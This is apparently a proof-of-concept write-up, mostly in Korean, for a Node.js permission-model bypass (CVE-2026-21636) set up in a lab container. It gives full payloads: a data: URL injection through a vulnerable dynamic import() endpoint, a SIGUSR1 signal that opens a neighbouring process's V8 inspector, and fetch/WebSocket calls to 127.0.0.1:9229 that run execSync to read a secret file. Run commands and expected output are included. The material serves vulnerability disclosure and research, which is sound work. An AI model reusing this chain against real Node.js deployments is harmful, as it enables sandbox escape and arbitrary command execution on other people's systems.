
Proof-of-concept demonstrating a Node.js permission model bypass (CVE-2026-21636) that allows network access via undici/fetch to local services, enabling arbitrary code execution through CDP.
Node.js 권한 모델(--permission)은 파일시스템, 자식 프로세스, 워커, 네트워크에 대한 접근을 제한하여 프로세스를 샌드박싱하도록 설계되었습니다. CVE-2026-21636은 undici/fetch(및 net/tls)를 통해 Unix 도메인 소켓과 로컬 TCP 주소로 이루어지는 연결이 --allow-net이 없더라도 네트워크 가드를 완전히 우회한다는 것을 밝혀냅니다.
영향: Node.js v25 (공개 시점 기준 네트워크 권한은 여전히 실험적 기능입니다).
이 PoC는 동일한 우회가 관찰되는 v22에서 개념을 재현합니다.
--permission(단, --allow-net 또는 --allow-child-process 없이) 하에서 실행 중인 프로세스에 임의의 JavaScript를 주입할 수 있는 공격자는 다음을 수행할 수 있습니다:
supervisord 하에서 컨테이너 내부에 두 개의 프로세스가 나란히 실행됩니다:
| 프로세스 |
|---|
target.cjs는 시작 시 자신의 PID를 /tmp/target.pid에 기록한 후 무한 루프를 돕니다(유휴 피해자 프로세스). server.mjs는 /pid 엔드포인트와 취약한 /language 엔드포인트를 가진 Express 서버를 :8000에 노출합니다.
/app/secret.txt는 app이 소유합니다(chmod 444). 두 프로세스 모두 OS 수준에서 접근할 수 있습니다. 이 익스플로잇은 파일 권한 장벽에 의존하지 않습니다. --allow-net이 없음에도 불구하고 server.mjs가 fetch()/WebSocket을 통해 127.0.0.1:9229에 도달하고 샌드박스가 적용되지 않은 target.cjs 프로세스 내부에서 임의의 코드를 실행할 수 있음을 입증합니다. CDP를 통해 secret.txt를 읽는 것이 해당 코드 실행의 증거입니다.
참고: 이 PoC가 실제로 입증하는 것
server.mjs는 이미--allow-fs-read=/로 실행되므로, JS 주입(1단계)만으로 샌드박스 프로세스에서/app/secret.txt를 직접 읽는 것은 사소하게 가능합니다:import { readFileSync } from 'fs'; export default { secret: readFileSync('/app/secret.txt', 'utf8') };파일시스템 읽기는 이 PoC의 핵심이 아닙니다. 목표는 CVE-2026-21636을 입증하는 것입니다:
--allow-net이 없음에도 불구하고fetch()(undici)가127.0.0.1:9229에 TCP 연결을 설정하여 권한 모델의 네트워크 가드를 완전히 우회할 수 있습니다. 이 익스플로잇은 해당 우회를 사용하여 CDP를 통해 완전히 샌드박스가 적용되지 않은target.cjs프로세스로 피벗하고 샌드박스 외부에서 임의의 코드 실행을 달성합니다; 이는 어떤--allow-fs-read로도 허용되지 않는 것입니다.
POST /language이 섹션은 PoC의 범위를 벗어납니다.
// server.mjs
app.post('/language', async (req, res) => {
const requested = req.body?.lang ?? 'fr';
res.json(await import(requested + '/index.js'));
});
서버는 사용자 제어 문자열에 대해 **동적 import()**를 수행합니다. Node.js의 import()는 기본적으로 data: URL 스킴을 지원합니다:
data:text/javascript,<퍼센트 인코딩된 JS>
서버가 추가하는 /index.js 접미사는 페이로드 끝에 //를 추가하여 무력화됩니다(URL 주석 / 무시되는 경로 조각으로 처리됨).
이로 인해 샌드박스 프로세스 내부에서 임의의 JavaScript 실행이 가능해집니다 - CVE-2026-21636을 악용하기 위한 진입점입니다.
서버는 다음으로 시작합니다:
node --permission --allow-fs-read=/ /app/server.mjs
의도: 공격자가 server.mjs 내부에서 코드를 실행하더라도 네트워크에 도달하거나, 프로세스를 생성하거나, 인스펙터에 접근할 수 없습니다.
CVE-2026-21636은 --allow-net 경계를 깨뜨립니다.
GET /pid → { "pid": <N> }
target.cjs는 시작 시 자신의 PID를 /tmp/target.pid에 기록합니다. 서버가 이를 노출합니다. 이는 CDP 릴레이로 사용될 피해자 프로세스를 식별합니다.
이는 진입점에 JS를 주입하여 수행할 수도 있습니다; 단순화를 위해 /pid 엔드포인트를 만들었습니다.
target.cjs에서 V8 인스펙터 활성화POST /language를 통해 주입된 페이로드(data: URL로):
process.kill(<pid>, 'SIGUSR1');
export default { signal: 'SIGUSR1', sent_to: <pid> };
Node.js 프로세스가 SIGUSR1을 수신하면 V8/CDP 디버거를 시작(또는 재개)하고 다음에서 수신 대기를 시작합니다:
127.0.0.1:9229
target.cjs는 --permission 없이 실행되므로 해당 인스펙터는 완전히 권한이 있습니다 - require('child_process').execSync(...)를 포함한 모든 표현식을 평가할 수 있습니다.
신호 전송(process.kill)은 권한 모델에 의해 게이트되지 않으므로 이 단계는 샌드박스 내부에서 성공합니다.
POST /language를 통해 주입된 두 번째 페이로드:
// 인스펙터 HTTP API에서 디버깅 가능한 대상 목록 가져오기
const [{ id }] = await (await fetch('http://127.0.0.1:9229/json')).json();
//그런 다음 target.cjs의 CDP 엔드포인트에 WebSocket 열기
const result = await new Promise(resolve => {
const ws = new WebSocket(`ws://127.0.0.1:9229/${id}`);
ws.onopen = () => ws.send(JSON.stringify({
id: 1,
method: 'Runtime.evaluate',
params: {
expression: `process.mainModule.require('child_process')
.execSync('cat /app/secret.txt').toString()`,
returnByValue: true
}
}));
ws.onmessage = ({ data }) => { ws.close(); resolve(JSON.parse(data)); };
});
export default result;
--allow-net이 없음에도 이것이 작동하는 이유:
Node.js의 fetch()는 undici에 의해 구현됩니다. CVE-2026-21636은 http://127.0.0.1:...(및 UDS socketPath 옵션)에 대한 undici의 연결 경로가 권한 모델의 네트워크 검사를 거치지 않는다는 것을 보여줍니다. 샌드박스는 아웃바운드 네트워크 접근이 이루어지지 않았다고 믿지만, :9229에 대한 TCP 연결은 성공합니다.
CDP Runtime.evaluate 호출은 샌드박스가 적용되지 않은 target.cjs 프로세스 내부에서 실행되므로 require('child_process')를 사용할 수 있고 execSync가 자유롭게 작동합니다.
공격자 (Python 스크립트)
│
├─[1]─ GET /pid → pid = N
│
├─[2]─ POST /language data:js SIGUSR1 → target.cjs 인스펙터가 :9229에서 시작
│
└─[3]─ POST /language data:js fetch+WS → CDP Runtime.evaluate → cat /app/secret.txt
↑
CVE-2026-21636 우회 지점
(--allow-net 없이 127.0.0.1로 fetch)
# 환경 빌드 및 시작
docker compose up --build -d
# 익스플로잇 실행
python3 exploit.py
예상 출력:
TARGET PID : 42
Response step 2 : {'signal': 'SIGUSR1', 'sent_to': 42}
SECRET : this_is_a_secret!
| 사용자 |
|---|
| 플래그 |
|---|
| 기능 |
|---|
target.cjs | app | 없음 | 전체 Node.js API, 샌드박스 없음 |
server.mjs | app | --permission --allow-fs-read=/ | 전체 FS 읽기 — 네트워크 없음, 자식 프로세스 없음, 워커 없음 |
| 권한 | 상태 |
|---|
--allow-fs-read=/ | 허용됨 (전체 읽기) |
--allow-fs-write | 거부됨 |
--allow-net | 거부됨 (실험적, 설정되지 않음) |
--allow-child-process | 거부됨 |
--allow-worker | 거부됨 |
--allow-inspector | 거부됨 |